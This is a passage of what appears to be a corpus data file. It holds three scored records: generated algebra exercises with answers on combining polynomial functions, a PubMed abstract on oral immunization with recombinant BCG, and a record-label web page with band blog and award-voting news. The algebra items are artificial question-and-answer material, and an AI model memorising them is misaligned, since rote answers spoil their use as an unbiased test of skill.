"q(n) = -8*n**3 - 4*n**2 - n. What is -4*h(b) + q(b)?",
"\n-4*b**3 - 5*b\nLet u(a) = -2*a**2 - 19*a + 55. ",
"Let l(j) = j**2 + 9*j - 31. ",
"Determine 7*l(r) + 4*u(r).",
"\n-r**2 - 13*r + 3\nLet g(h) = 448*h**3 + 5*h**2 + 171*h + 5. ",
"Let v(s) = 224*s**3 + 2*s**2 + 77*s + 2. ",
"Determine -2*g(n) + 5*v(n).",
"\n224*n**3 + 43*n\nLet l(b) = 7*b**2 - 3*b - 9. ",
"Let k(m) = -4*m**2 + m + 5. ",
"Suppose -4*u - 20 = -2*x, -5*x - 16 = -95*u + 96*u. ",
"Determine u*l(z) - 11*k(z).",
"\n2*z**2 + 7*z - 1\nLet i(b) = -459*b**2 - 4*b - 63. ",
"Let c(f) = -229*f**2 - 2*f - 28. ",
"Give 9*c(w) - 4*i(w).",
"\n-225*w**2 - 2*w\nLet z(n) = 4*n**2 + 1066*n + 39. ",
"Let u(w) = -2*w**2 - 533*w - 16. ",
"What is 5*u(a) + 2*z(a)?",
"\n-2*a**2 - 533*a - 2\nLet s(a) = 53*a + 466. ",
"Let j(t) = 10*t + 97. ",
"Determine 11*j(q) - 2*s(q).",
"\n4*q + 135\nLet d(p) be the third derivative of -p**6/4 - p**5/12 - 5*p**4/24 - 5*p**3/6 - 2*p**2 + 72. ",
"Let k(w) = w**3 + w**2 + w + 1. ",
"Calculate -d(s) - 5*k(s).",
"\n25*s**3\nLet a(q) = -1 + 4*q + 558*q**2 - 1147*q**2 - 4*q + 588*q**2. ",
"Let n(k) = 6*k**2 + 1. ",
"What is 5*a(f) + n(f)?",
"\nf**2 - 4\nLet d(s) = s. Let v(a) = 5*a - 11. ",
"Let m = 15578 - 15579. ",
"Calculate m*v(f) + 6*d(f).",
"\nf + 11\nLet t(b) = -8*b**3 - 5*b**2 + 6*b. ",
"Let m(d) = 4*d**3 + 2*d**2 - 3*d. ",
"Determine 5*m(g) + 2*t(g).",
"\n4*g**3 - 3*g\nLet r(h) = 4*h - 10. ",
"Let p(k) = -9*k - 85. ",
"Let o be p(-18). ",
"Let z(t) = -77 + 161 - 3*t - o. Calculate -5*r(y) - 7*z(y).",
"\ny + 1\nLet o = -6212 - -6210. ",
"Let q(j) = -4*j**3 - 2*j**2. ",
"Let u(m) = -m**3 + m**2 + 1. ",
"Calculate o*u(s) + q(s).",
"\n-2*s**3 - 4*s**2 - 2\nLet h(l) = 1009*l + 6. ",
"Let d(y) = 2715219*y + 16144. ",
"Determine 3*d(t) - 8072*h(t).",
"\n1009*t\nLet y(r) = -10*r**2 + r. Let a(v) = v**2. ",
"Let u(k) = -123*k**3 + k**2. ",
"Let m be u(-1). ",
"Let w = -102 + m. Give w*a(j) + 2*y(j).",
"\n2*j**2 + 2*j\nLet t(i) = -9*i**3 - 2*i**2 + i - 2. ",
"Let k(m) = -1566 + 54*m**3 + 9*m**2 - 5*m - 10*m**3 + 2*m**2 + 1577. ",
"Determine 2*k(h) + 11*t(h).",
"\n-11*h**3 + h\nLet q(j) be the third derivative of j**6/120 - j**3/6 - 158848*j**2 - 2*j + 1. ",
"Let g(l) = 3*l**3 - 3 + 2 + l**2 - 1. ",
"Determine g(t) - 2*q(t).",
"\nt**3 + t**2\nLet h(a) = -a**2. ",
"Let d(c) be the third derivative of c**6/120 + c**4/24 - c**3/6 - 21*c**2 + 12*c + 3. ",
"Give 2*d(t) + 3*h(t).",
"\n2*t**3 - 3*t**2 + 2*t - 2\nLet s(k) = -3*k**2 - 15*k - 1. ",
"Let r(h) be the second derivative of -5*h**4/12 - 23*h**3/6 - h**2 - 206*h + 2. ",
"Give 5*r(t) - 8*s(t).",
"\n-t**2 + 5*t - 2\nLet n(r) = -2296*r**3 - 820*r**2 - 1640*r - 820. ",
"Let g(o) = o**2 + 2*o + 1. ",
"Calculate -820*g(w) - n(w).",
"\n2296*w**3\nSuppose 3*y + 60 = 33*y. ",
"Let k(n) = 72*n - 222*n + 68*n - 17*n**y - 7 + 75*n. ",
"Let c(p) = 9*p**2 + 4*p + 4. ",
"Give -7*c(j) - 4*k(j).",
"\n5*j**2\nLet k(r) = 6*r**2 + r - 1. ",
"Let g(j) = j**2 + j - 1. ",
"Suppose 2*l - 33 - 52 = -5*o, 3*o - 30 = 3*l. ",
"Suppose -21*z - o - 6 = 0. ",
"Give z*k(v) + g(v).",
"\n-5*v**2\nLet g(n) = -10*n**2 + 28*n - 37. ",
"Let s(b) = 3*b**2 - 13*b - 1. ",
"Determine -g(p) - 2*s(p).",
"\n4*p**2 - 2*p + 39\nLet g(h) = 7*h + 88. ",
"Let n be g(-12). ",
"Let k(s) = s. Let o(l) = -2*l**2 + 4*l + 8. ",
"Suppose 54 - 10 = -44*q. ",
"Give n*k(c) + q*o(c).",
"\n2*c**2 - 8\nLet r(z) = 5*z - 3. ",
"Let g(o) = 364 + 373 - 1111 + 373. ",
"Let h(y) = 6*g(y) - r(y). ",
"Let t(k) = 11*k + 7. ",
"What is -9*h(u) - 4*t(u)?",
"\nu - 1\nLet m(o) = 353*o**3 + 4*o**2 + 4*o - 18. ",
"Let q(y) = 354*y**3 + 4*y**2 + 5*y - 21. ",
"Calculate 7*m(j) - 6*q(j).",
"\n347*j**3 + 4*j**2 - 2*j\nLet t(s) = -13221*s**3 - 10*s**2 + 5*s - 10. ",
"Let l(k) = 8230073*k**3 + 6224*k**2 - 3112*k + 6224. ",
"Calculate 5*l(x) + 3112*t(x).",
"\n6613*x**3\nLet t(z) be the first derivative of -67*z**2/2 + 9*z - 885. ",
"Let a(h) = 34*h - 5. ",
"Give 7*a(v) + 4*t(v).",
"\n-30*v + 1\nLet b(w) = -5*w + 924. ",
"Let s(h) = -9*h + 1839. ",
"What is -5*b(a) + 3*s(a)?",
"\n-2*a + 897\nLet c(d) = 12*d**3 + 2*d**2 + 3. ",
"Let k(r) = -44*r**3 + 21*r**3 - 1 - r**2 - 2 + 1 + 12*r**3. ",
"Give -4*c(x) - 5*k(x).",
"\n7*x**3 - 3*x**2 - 2\nLet l(p) = -6*p - 8. ",
"Let m(j) = j + 1. ",
"Let w(h) = l(h) + 4*m(h). ",
"Let o be (-3360)/360*-4*(-6)/(-32). ",
"Let c(g) = g + 3. ",
"Give o*c(k) + 5*w(k).",
"\n-3*k + 1\nLet j(q) be the third derivative of q**6/12 - q**4/2 - q**2. ",
"Let f(c) be the third derivative of -c**6/120 + c**4/24 + 20099*c**2. ",
"Calculate -60*f(t) - 5*j(t).",
"\n10*t**3\nLet d(i) = 3779*i - 16. ",
"Let v(m) = -5241483*m + 22194. ",
"Give -11097*d(k) - 8*v(k).",
"\n-3699*k\nLet c(y) = -732*y**2 - 3*y + 2. ",
"Let h(t) = -735*t**2 - 5*t + 2. ",
"Calculate 4*c(b) - 3*h(b).",
"\n-723*b**2 + 3*b + 2\nLet p(n) = 18*n + 949. ",
"Let o(v) = 9*v + 406. ",
"Let t(q) = 7*o(q) - 3*p(q). ",
"Suppose 0 = 4*j + 27 - 11. ",
"Let u(k) = 8*k - 4. ",
"What is j*t(z) + 5*u(z)?",
"\n4*z\nSuppose -13*l = 50*l + 189. ",
"Let i(c) = 5*c**2 - c + 4. ",
"Let b(a) = 9*a**2 - 2*a + 8. ",
"Calculate l*b(h) + 5*i(h).",
"\n-2*h**2 + h - 4\nLet w(c) = 126*c - 412. ",
"Let s(g) = 17*g - 59. ",
"Calculate -15*s(q) + 2*w(q).",
"\n-3*q + 61\nLet i(f) = -f**3 + 97*f**2 + 22*f - 13. ",
"Let a(p) = 22*p**2 + 5*p - 3. ",
"Determine -9*a(u) + 2*i(u).",
"\n-2*u**3 - 4*u**2 - u + 1\nLet h = -447 - -461. ",
"Let l(d) = 2*d**3 - d**2 - 3*d - 2. ",
"Let m be l(-1). ",
"Let r(t) = -t. ",
"Let p(f) = -9*f. ",
"Determine h*r(s) + m*p(s).",
"\n4*s\nLet i(g) = 9*g**2 - 2*g. ",
"Let k(p) be the second derivative of -9*p**4/4 + 7*p**3/6 - 2*p. ",
"Let s(j) = 18903*j - 132328. ",
"Let c be s(7). ",
"Calculate c*i(m) - 2*k(m).",
"\n-9*m**2\nLet b(h) be the first derivative of h**4/4 - h**3/3 - h**2/2 + 1048. ",
"Let f(d) = 18*d**3 - 22*d**2 - 22*d. ",
"What is 88*b(c) - 4*f(c)?",
"\n16*c**3\nLet g(z) = 9*z**2 - 11*z - 6. ",
"Let w(a) = 2*a**2 - 55*a - 526. ",
"Let o be w(35). ",
"Let r(j) = -j**2 + 1. ",
"Determine o*g(q) - 6*r(q).",
"\n-3*q**2 + 11*q\nLet k(j) = -8*j - 6187157 - 9*j + 6187151. ",
"Let v(c) = -33*c - 11. ",
"Suppose d - 18 = -2*d. ",
"What is d*v(l) - 11*k(l)?",
"\n-11*l\nLet d(w) = -5*w - 3317. ",
"Let u(m) = 4*m + 3325. ",
"Determine -6*d(a) - 7*u(a).",
"\n2*a - 3373\nLet a(g) = g**2 - 3*g. ",
"Let o(x) = -11*x**3 + 6*x**2 - 6*x - 2. ",
"Calculate -2*a(l) + o(l).",
"\n-11*l**3 + 4*l**2 - 2\nSuppose -4025*w = -4035*w - 50. ",
"Let a(s) = 4*s**2 + 11*s - 2. ",
"Let z(b) = -7*b**2 - 21*b + 3. ",
"Give w*a(u) - 3*z(u).",
"\nu**2 + 8*u + 1\nLet z(d) = d + 4. ",
"Let a(w) = w + 4. ",
"Let f = -27462 - -27460. ",
"What is f*z(p) + 3*a(p)?",
"\np + 4\nLet g(j) = 8*j - 5. ",
"Let q(x) = -x**3 - x**2 - 2*x + 17. ",
"Let y be q(2). ",
"Let b(f) = 3 + 1 - f - 3. ",
"Calculate y*g(n) + 6*b(n).",
"\n2*n + 1\nLet m = 62 - 64. ",
"Let l be (((-165)/(-6) - 1)*m)/1. ",
"Let t = l + 59. ",
"Let u(k) = -k**2 + k + 1. ",
"Let g(j) = 10*j**2 - 6*j - 7. ",
"Determine t*u(v) + g(v).",
"\n4*v**2 - 1\nLet h(m) = 14*m - 1. ",
"Let j(r) = -14*r + 18. ",
"Let y(z) = -2*z + 5. ",
"Let u(a) = 4*j(a) - 14*y(a). ",
"Give -9*h(f) - 4*u(f).",
"\n-14*f + 1\nSuppose -5*o + 580 = -121*o. ",
"Suppose -x - 2 = -4. ",
"Let m = x + -1. ",
"Let r(b) = b**3 + b. Let y(q) = 7*q**3 + 7*q - 1. ",
"Calculate m*y(w) + o*r(w).",
"\n2*w**3 + 2*w - 1\nLet v(i) = 1116 - 3331 + 1106 + 1108. ",
"Let o(w) = 17*w + 68. ",
"Calculate o(u) + 68*v(u).",
"\n17*u\nLet r(v) = -4*v**3. ",
"Suppose 0 = 15*p + 191 + 139. ",
"Let j be p/(-5) - ((-138)/30 - -4). ",
"Let o(d) = -10*d**3. ",
"Calculate j*o(x) - 12*r(x).",
"\n-2*x**3\nLet c(o) = 3017*o - 92. ",
"Let f(b) = 3020*b - 107. ",
"Give -7*c(x) + 6*f(x).",
"\n-2999*x + 2\nLet s(p) = 3*p**3 - 14*p**2 - 3*p - 194. ",
"Let c(a) = a**3 - 6*a**2 - a - 1. ",
"Give -2*c(j) + s(j).",
"\nj**3 - 2*j**2 - j - 192\nLet y(l) = -8*l - 14. ",
"Let z(w) = -7*w - 13. ",
"Suppose -23*h = -83*h - 420. ",
"Determine h*z(j) + 6*y(j).",
"\nj + 7\nLet j(q) = 2*q**2 + 17*q + 583. ",
"Let f(s) = -s**2 - 7*s - 291. ",
"What is -5*f(r) - 2*j(r)?",
"\nr**2 + r + 289\nLet o(w) = -87*w - 867. ",
"Let g be o(-10). ",
"Let x(p) = -2*p**3 - 2*p**2 - 3*p - 3. ",
"Let m(i) = -3*i**3 - 3*i**2 - 4*i - 4. ",
"Determine g*m(d) - 4*x(d).",
"\n-d**3 - d**2\nSuppose 248*i - 1843 = 17278 - 2753. ",
"Let k(f) be the second derivative of f**2/2 - 2*f. ",
"Let g(r) = -11*r + 66. ",
"Give i*k(z) - g(z).",
"\n11*z\nLet j(b) = -b - 341. ",
"Let z(k) = -168. ",
"What is 3*j(w) - 5*z(w)?",
"\n-3*w - 183\nLet r be -5 + 1 - (-33)/(264/1472). ",
"Let q(x) = x + 1. ",
"Let n(f) = -40*f - 45. ",
"Calculate r*q(t) + 4*n(t).",
"\n20*t\nLet x be 3 - (0/(9 + -11))/1. ",
"Let i(g) = 2*g**2 - 14*g - 1. ",
"Let s(a) = 2*a**2 - 15*a - 1. ",
"Give x*s(c) - 2*i(c).",
"\n2*c**2 - 17*c - 1\nLet a(y) = -y**3 + 3*y**2 + y. Let p(l) be the second derivative of 1/2*l**4 - 15*l + 0*l**2 + 1/3*l**3 + 0 - 1/10*l**5. ",
"Calculate 5*a(j) - 3*p(j).",
"\nj**3 - 3*j**2 - j\nLet y(s) = -464*s - 4170. ",
"Let d be y(-9). ",
"Let i(l) = 6*l**2 - 6*l + 6. ",
"Let m(v) = 3*v**2 - 3*v + 3. ",
"What is d*i(f) - 11*m(f)?",
"\n3*f**2 - 3*f + 3\nLet c(j) = j**2 - 2*j - 4. ",
"Let w(g) = 120*g**2 + 10*g + 17. ",
"Give -4*c(x) - w(x).",
"\n-124*x**2 - 2*x - 1\nLet i(p) = 78*p + 13. ",
"Let t(q) = 236*q + 41. ",
"What is 13*i(a) - 4*t(a)?",
"\n70*a + 5\nLet i(t) = 5*t**2 + 8*t - 118. ",
"Let s(q) = "
] | {
"pile_set_name": "DM Mathematics"
} | [
0.06273408234119415,
0.2260521948337555,
0.003708160249516368,
0.014873776584863663,
0.09619498252868652,
0.028144879266619682,
0.006060514599084854,
0.1714126616716385,
0.8554899096488953,
0.02644011378288269,
0.764529824256897,
0.07312052696943283,
0.9029887914657593,
0.3028363585472107,
0.06619326025247574,
0.02817380428314209,
0.02489756979048252,
0.004911407362669706,
0.011939979158341885,
0.0009601544006727636,
0.02135031297802925,
0.9141895771026611,
0.8985028862953186,
0.028242232277989388,
0.9095894694328308,
0.1628207564353943,
0.9163162112236023,
0.00121499493252486,
0.0476662777364254,
0.2851582169532776,
0.033575545996427536,
0.007122706156224012,
0.21789944171905518,
0.5853339433670044,
0.00331730954349041,
0.1188477948307991,
0.0039001742843538523,
0.006844092160463333,
0.11564952880144119,
0.1599189192056656,
0.018275147303938866,
0.0014361091889441013,
0.0012523522600531578,
0.14547979831695557,
0.9867939352989197,
0.005926157347857952,
0.008807648904621601,
0.3757028579711914,
0.9207430481910706,
0.7140169143676758,
0.006751017179340124,
0.020321708172559738,
0.004207069054245949,
0.1807326227426529,
0.030352994799613953,
0.216441348195076,
0.9692583084106445,
0.0027066448237746954,
0.5601388216018677,
0.07072068750858307,
0.14016497135162354,
0.004202994052320719,
0.015566276386380196,
0.7801704406738281,
0.029853850603103638,
0.9355897307395935,
0.9372245669364929,
0.006968003697693348,
0.01530060637742281,
0.005720813758671284,
0.9281449317932129,
0.3209272623062134,
0.008102554827928543,
0.002802015282213688,
0.06341969966888428,
0.004602949600666761,
0.6344791650772095,
0.0014690002426505089,
0.9816082119941711,
0.18742792308330536,
0.01274020317941904,
0.05762946605682373,
0.8084548711776733,
0.20394514501094818,
0.27222156524658203,
0.032899245619773865,
0.0007846345542930067,
0.18117131292819977,
0.9488565325737,
0.0010221753036603332,
0.005037984810769558,
0.004654796328395605,
0.06535109132528305,
0.00735063012689352,
0.002769418992102146,
0.007465238682925701,
0.021235669031739235,
0.9403056502342224,
0.932479202747345,
0.02652140147984028,
0.0019461383344605565,
0.01646178960800171,
0.00482729310169816,
0.004044789355248213,
0.9600679278373718,
0.3163131773471832,
0.19798418879508972,
0.45497819781303406,
0.09187664091587067,
0.0018866307800635695,
0.3845379650592804,
0.9799953103065491,
0.047269344329833984,
0.001570128253661096,
0.07784000039100647,
0.006495531182736158,
0.051991742104291916,
0.0010917609324678779,
0.9696736335754395,
0.1026010811328888,
0.0013592725154012442,
0.12923501431941986,
0.009889156557619572,
0.0038243418093770742,
0.015375480055809021,
0.005763560067862272,
0.0010724252788349986,
0.7818573117256165,
0.019993316382169724,
0.0016393429832533002,
0.12536334991455078,
0.01936122588813305,
0.0012941067107021809,
0.017659304663538933,
0.47217461466789246,
0.18815140426158905,
0.19127044081687927,
0.25696954131126404,
0.0010499345371499658,
0.0015298774233087897,
0.9431724548339844,
0.01648244634270668,
0.9254798889160156,
0.32134273648262024,
0.350685179233551,
0.0039045207668095827,
0.004532894119620323,
0.0032164049334824085,
0.00882969330996275,
0.4699462354183197,
0.005709972232580185,
0.002022357191890478,
0.864046573638916,
0.007875070907175541,
0.026787836104631424,
0.0026195142418146133,
0.08789128810167313,
0.019910555332899094,
0.0014731143601238728,
0.003409156110137701,
0.012497606687247753,
0.017092391848564148,
0.7593938708305359,
0.11224724352359772,
0.0025057350285351276,
0.0008245921926572919,
0.6854385137557983,
0.016102882102131844,
0.004532151855528355,
0.0013351801317185163,
0.014702596701681614,
0.05521200969815254,
0.006031632423400879,
0.002854033140465617,
0.0016430309042334557,
0.9519765377044678,
0.009717369452118874,
0.11016668379306793,
0.047734908759593964,
0.008685167878866196,
0.0039000483229756355,
0.10592231899499893,
0.9407351613044739,
0.014715900644659996,
0.0010152700124308467,
0.002521580085158348,
0.02227398194372654,
0.1348857879638672,
0.01150846853852272,
0.00826113298535347,
0.022093653678894043,
0.15882109105587006,
0.0013602373655885458,
0.0012667453847825527,
0.030169900506734848,
0.0027701579965651035,
0.03417850658297539,
0.03054448403418064,
0.179810032248497,
0.018858525902032852,
0.019075416028499603,
0.029085127636790276,
0.018532156944274902,
0.003985603805631399,
0.0014796413015574217,
0.0019195792265236378,
0.008103467524051666,
0.5792924165725708,
0.13821855187416077,
0.04495144635438919,
0.005262746475636959,
0.03267786651849747,
0.11483258008956909,
0.005462674889713526,
0.0016264182049781084,
0.9661067128181458,
0.012200056575238705,
0.9607478976249695,
0.015838120132684708,
0.0024979726877063513,
0.005119025241583586,
0.0026891182642430067,
0.0017603825544938445,
0.16785627603530884,
0.18575145304203033,
0.009421107359230518,
0.023502085357904434,
0.0041030049324035645,
0.3584338426589966,
0.16064195334911346,
0.0008200907032005489,
0.03350944072008133,
0.0013367432402446866,
0.0060544996522367,
0.0167730450630188,
0.5280664563179016,
0.9231173992156982,
0.020131876692175865,
0.010177466087043285,
0.008716478943824768,
0.002078232355415821,
0.039713699370622635,
0.09236335754394531,
0.001327787758782506
] | 0.188464 | 244 |
[
"Oral immunization with recombinant BCG induces cellular and humoral immune responses against the foreign antigen.",
"\nIt has been shown recently that BCG can be used as a live recombinant vaccine to stimulate immune responses. ",
"Proliferative or cytotoxic T-cell responses against several viral proteins such as HIV Gag, Env or Nef were obtained after parenteral immunization with BCG expressing these proteins. ",
"Antibody responses were also obtained after immunization of mice with recombinant BCG strain which expressed lac Z under the control of a promoter sequence isolated from Mycobacterium paratuberculosis. ",
"We have used this recombinant vaccine in guinea-pigs to investigate the influence of various routes of immunization on the immunogenicity of a foreign antigen expressed by recombinant BCG. ",
"Guinea-pigs were immunized by oral, respiratory or intradermal routes and proliferative responses, delayed-type hypersensitivity and antibody responses specific for beta-galactosidase were followed for 16 weeks. ",
"Results demonstrated that humoral and cellular immune responses specific for beta-galactosidase can be produced in all groups of guinea-pigs. ",
"However, the respiratory and especially the oral route of administration induced higher local and systemic immune responses than the intradermal route of immunization. ",
"Moreover, the oral immunization of mice with this recombinant BCG induced IgA responses which could be detected in both sera and intestinal secretions. ",
"Therefore, this study demonstrates for the first time that oral immunization with recombinant BCG can induce strong cellular and humoral immune responses."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0015260253567248583,
0.0010569379664957523,
0.001382008078508079,
0.000826707691885531,
0.002042073756456375,
0.012148536741733551,
0.00853023212403059,
0.0007230050978250802,
0.0020560903940349817,
0.0010001355549320579
] | 0.003129 | 10 |
[
"By submitting my information above, I acknowledge that I have reviewed and agreed to the Privacy Policy and Terms of Use, and I agree to receive updates and marketing messages from time to time from Fueled By Ramen and its record label.",
"\n\nTHANKS!",
"\nFor Fueled by Ramen news that is customized to you and your hometown such as local concerts and appearances, please fill out the form. ",
"At Fueled by Ramen, we are very concerned about our fans' privacy and do not share or sell your information to\nother third parties.",
"\n\nBy submitting my information above, I acknowledge that I have reviewed and agreed to the Privacy Policy and Terms of Use, and I agree to receive updates and marketing messages from time to time from Fueled By Ramen and its record label.",
"\n\nWell hello. ",
"Does anyone ever get stage fright? ",
"Well I don’t really….but I do get blog fright. ",
"So I’m just going to imagine that I’m just writing this as a letter to my mom. ",
"Actually now I’m more nervous. ",
"I guess I’l just imagine that I’m simply doing what I did in the old days, which is put my personal ad in the dating section of the weekly local newspaper, because no one ever read that (or at least that’s what I tell myself).",
"\n\nSo here we are. ",
"Workweek 1 in the studio is about to be wrapped up. ",
"That kind of feels weird to say. ",
"This “studio” experience as Twenty One Pilots or even as “Tyler and Josh” is a new one.",
"\n\nThe Washington Post offers a window into the life of Fun. ",
"Read about the band's reflections on the industry, along with their big rock-and-roll dreams and social justice passions. ",
"Click HERE to read the full article.",
"\n\nThe nominees are in for the Kerrang! ",
"Awards 2012. ",
"Paramore and Hayley Williams herself are up for awards in three categories. ",
"Voting is now open. ",
"We don’t only need you to vote, but we need you to promote online to get others to as well.",
"\n\nLog into the Paramore street team missions page to find details on how you can be one of the 20 ‘Singles Club’ 7” box set winners in exchange for promoting!",
"\n\nContest and voting end on May 25th!",
"\n\nBEST VIDEOFalling In Reverse - The Drug In Me Is YouMastodon - Curl Of The BurlMotionless In White - Immaculate MisconceptionParamore - MonsterBring Me The Horizon - Alligator Blood"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0005171252996660769,
0.0007347135688178241,
0.0005488863680511713,
0.0006641534855589271,
0.0005171252996660769,
0.0007440187036991119,
0.0022907983511686325,
0.003185804234817624,
0.004442424513399601,
0.000782693678047508,
0.0006463314057327807,
0.000916922464966774,
0.0005579842836596072,
0.0007058352348394692,
0.0010950361611321568,
0.0006616813479922712,
0.0005441891262307763,
0.0005812786403112113,
0.003561231307685375,
0.0006422106525860727,
0.0007084324606694281,
0.0007112923194654286,
0.000714241003151983,
0.000756491965148598,
0.0009498915751464665,
0.021913448348641396
] | 0.001927 | 26 |